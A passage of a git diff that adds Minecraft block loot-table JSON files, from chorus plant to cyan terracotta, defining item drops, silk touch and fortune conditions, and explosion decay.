b/src/data/minecraft/loot_tables/blocks/chorus_plant.json @@ -0,0 +1,27 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:chorus_fruit" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/clay.json b/src/data/minecraft/loot_tables/blocks/clay.json new file mode 100644 index 00000000..3e3cfe60 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/clay.json @@ -0,0 +1,47 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:clay" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 4 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:clay_ball" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/coal_block.json b/src/data/minecraft/loot_tables/blocks/coal_block.json new file mode 100644 index 00000000..fdfa6467 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/coal_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:coal_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/coal_ore.json b/src/data/minecraft/loot_tables/blocks/coal_ore.json new file mode 100644 index 00000000..4a9c1bb1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/coal_ore.json @@ -0,0 +1,48 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:coal_ore" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:ore_drops" + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:coal" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/coarse_dirt.json b/src/data/minecraft/loot_tables/blocks/coarse_dirt.json new file mode 100644 index 00000000..01f1721b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/coarse_dirt.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:coarse_dirt" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cobblestone.json b/src/data/minecraft/loot_tables/blocks/cobblestone.json new file mode 100644 index 00000000..ef135f00 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cobblestone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cobblestone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cobblestone_slab.json b/src/data/minecraft/loot_tables/blocks/cobblestone_slab.json new file mode 100644 index 00000000..3db103c5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cobblestone_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:cobblestone_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:cobblestone_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cobblestone_stairs.json b/src/data/minecraft/loot_tables/blocks/cobblestone_stairs.json new file mode 100644 index 00000000..e1af683e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cobblestone_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cobblestone_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cobblestone_wall.json b/src/data/minecraft/loot_tables/blocks/cobblestone_wall.json new file mode 100644 index 00000000..2d7e897c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cobblestone_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cobblestone_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cobweb.json b/src/data/minecraft/loot_tables/blocks/cobweb.json new file mode 100644 index 00000000..9fd4d336 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cobweb.json @@ -0,0 +1,54 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ], + "name": "minecraft:cobweb" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "name": "minecraft:string" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cocoa.json b/src/data/minecraft/loot_tables/blocks/cocoa.json new file mode 100644 index 00000000..5305ed6a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cocoa.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:cocoa", + "properties": { + "age": "2" + } + } + ], + "count": 3 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:cocoa_beans" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/comparator.json b/src/data/minecraft/loot_tables/blocks/comparator.json new file mode 100644 index 00000000..b48f61c8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/comparator.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:comparator" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/composter.json b/src/data/minecraft/loot_tables/blocks/composter.json new file mode 100644 index 00000000..75ec2246 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/composter.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:composter" + } + ] + }, + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bone_meal" + } + ], + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:composter", + "properties": { + "level": "8" + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/conduit.json b/src/data/minecraft/loot_tables/blocks/conduit.json new file mode 100644 index 00000000..3d2be59e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/conduit.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:conduit" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cornflower.json b/src/data/minecraft/loot_tables/blocks/cornflower.json new file mode 100644 index 00000000..cede8d3f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cornflower.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cornflower" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cracked_nether_bricks.json b/src/data/minecraft/loot_tables/blocks/cracked_nether_bricks.json new file mode 100644 index 00000000..d6e880be --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cracked_nether_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cracked_nether_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cracked_polished_blackstone_bricks.json b/src/data/minecraft/loot_tables/blocks/cracked_polished_blackstone_bricks.json new file mode 100644 index 00000000..65e9a0d2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cracked_polished_blackstone_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cracked_polished_blackstone_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cracked_stone_bricks.json b/src/data/minecraft/loot_tables/blocks/cracked_stone_bricks.json new file mode 100644 index 00000000..53dde160 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cracked_stone_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cracked_stone_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crafting_table.json b/src/data/minecraft/loot_tables/blocks/crafting_table.json new file mode 100644 index 00000000..0cb78d4c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crafting_table.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crafting_table" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/creeper_head.json b/src/data/minecraft/loot_tables/blocks/creeper_head.json new file mode 100644 index 00000000..96dcb260 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/creeper_head.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:creeper_head" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_button.json b/src/data/minecraft/loot_tables/blocks/crimson_button.json new file mode 100644 index 00000000..fc3edd3c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_button.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_button" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_door.json b/src/data/minecraft/loot_tables/blocks/crimson_door.json new file mode 100644 index 00000000..cf3ea085 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_door.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:crimson_door", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:crimson_door" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_fence.json b/src/data/minecraft/loot_tables/blocks/crimson_fence.json new file mode 100644 index 00000000..78c2d461 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_fence.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_fence" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_fence_gate.json b/src/data/minecraft/loot_tables/blocks/crimson_fence_gate.json new file mode 100644 index 00000000..aac766f9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_fence_gate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_fungus.json b/src/data/minecraft/loot_tables/blocks/crimson_fungus.json new file mode 100644 index 00000000..be550e43 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_fungus.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_fungus" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_hyphae.json b/src/data/minecraft/loot_tables/blocks/crimson_hyphae.json new file mode 100644 index 00000000..066c05b2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_hyphae.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_hyphae" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_nylium.json b/src/data/minecraft/loot_tables/blocks/crimson_nylium.json new file mode 100644 index 00000000..27aec169 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_nylium.json @@ -0,0 +1,43 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:crimson_nylium" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "name": "minecraft:netherrack" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_planks.json b/src/data/minecraft/loot_tables/blocks/crimson_planks.json new file mode 100644 index 00000000..4738ac23 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_planks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_planks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_pressure_plate.json b/src/data/minecraft/loot_tables/blocks/crimson_pressure_plate.json new file mode 100644 index 00000000..be76a162 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_pressure_plate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_pressure_plate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_roots.json b/src/data/minecraft/loot_tables/blocks/crimson_roots.json new file mode 100644 index 00000000..2eb405b2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_roots.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_roots" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_sign.json b/src/data/minecraft/loot_tables/blocks/crimson_sign.json new file mode 100644 index 00000000..171f22a4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_sign.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_sign" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_slab.json b/src/data/minecraft/loot_tables/blocks/crimson_slab.json new file mode 100644 index 00000000..e0417506 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:crimson_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:crimson_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_stairs.json b/src/data/minecraft/loot_tables/blocks/crimson_stairs.json new file mode 100644 index 00000000..84bf05f8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_stem.json b/src/data/minecraft/loot_tables/blocks/crimson_stem.json new file mode 100644 index 00000000..5414d204 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_stem.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_stem" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crimson_trapdoor.json b/src/data/minecraft/loot_tables/blocks/crimson_trapdoor.json new file mode 100644 index 00000000..82eb7bd8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crimson_trapdoor.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crimson_trapdoor" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/crying_obsidian.json b/src/data/minecraft/loot_tables/blocks/crying_obsidian.json new file mode 100644 index 00000000..3c52f68f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/crying_obsidian.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:crying_obsidian" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cut_red_sandstone.json b/src/data/minecraft/loot_tables/blocks/cut_red_sandstone.json new file mode 100644 index 00000000..50b0d785 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cut_red_sandstone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cut_red_sandstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cut_red_sandstone_slab.json b/src/data/minecraft/loot_tables/blocks/cut_red_sandstone_slab.json new file mode 100644 index 00000000..8f1431fe --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cut_red_sandstone_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:cut_red_sandstone_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:cut_red_sandstone_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cut_sandstone.json b/src/data/minecraft/loot_tables/blocks/cut_sandstone.json new file mode 100644 index 00000000..ba08d6b0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cut_sandstone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cut_sandstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cut_sandstone_slab.json b/src/data/minecraft/loot_tables/blocks/cut_sandstone_slab.json new file mode 100644 index 00000000..408fe733 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cut_sandstone_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:cut_sandstone_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:cut_sandstone_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cyan_banner.json b/src/data/minecraft/loot_tables/blocks/cyan_banner.json new file mode 100644 index 00000000..a3181ce0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cyan_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:cyan_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cyan_bed.json b/src/data/minecraft/loot_tables/blocks/cyan_bed.json new file mode 100644 index 00000000..79df4912 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cyan_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:cyan_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:cyan_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cyan_carpet.json b/src/data/minecraft/loot_tables/blocks/cyan_carpet.json new file mode 100644 index 00000000..2deac948 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cyan_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cyan_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cyan_concrete.json b/src/data/minecraft/loot_tables/blocks/cyan_concrete.json new file mode 100644 index 00000000..6ba371f8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cyan_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cyan_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cyan_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/cyan_concrete_powder.json new file mode 100644 index 00000000..51be6932 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cyan_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cyan_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cyan_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/cyan_glazed_terracotta.json new file mode 100644 index 00000000..db2bf216 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cyan_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cyan_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cyan_shulker_box.json b/src/data/minecraft/loot_tables/blocks/cyan_shulker_box.json new file mode 100644 index 00000000..50114430 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cyan_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:cyan_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cyan_stained_glass.json b/src/data/minecraft/loot_tables/blocks/cyan_stained_glass.json new file mode 100644 index 00000000..dd46ba5c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cyan_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cyan_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cyan_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/cyan_stained_glass_pane.json new file mode 100644 index 00000000..eaf70190 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cyan_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cyan_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cyan_terracotta.json b/src/data/minecraft/loot_tables/blocks/cyan_terracotta.json new file mode 100644 index 00000000..365c07a1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cyan_terracotta.json @@ 